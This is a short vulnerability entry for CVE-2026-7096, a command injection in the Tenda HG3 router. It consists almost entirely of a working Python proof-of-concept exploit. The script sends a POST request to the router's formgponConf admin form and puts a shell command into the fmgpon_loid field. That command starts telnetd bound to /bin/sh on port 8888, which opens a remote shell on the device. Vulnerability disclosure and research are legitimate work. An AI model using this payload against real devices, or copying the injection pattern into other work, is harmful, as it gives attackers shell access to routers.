CVE-2026-7096 Tenda HG3操作系统命令注入漏洞

import requests # Target URL url = "http://<target-ip>/boaform/admin/formgponConf" # Data payload with command injection # Using semicolon to separate commands payload = { "fmgpon_loid": "; telnetd -l /bin/sh -p 8888 &" } # Send the exploit request try: response = requests.post(url, data=payload, timeout=5) if response.status_code == 200: print("Payload sent successfully. Check if telnet started.") else: print(f"Failed to send payload, status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")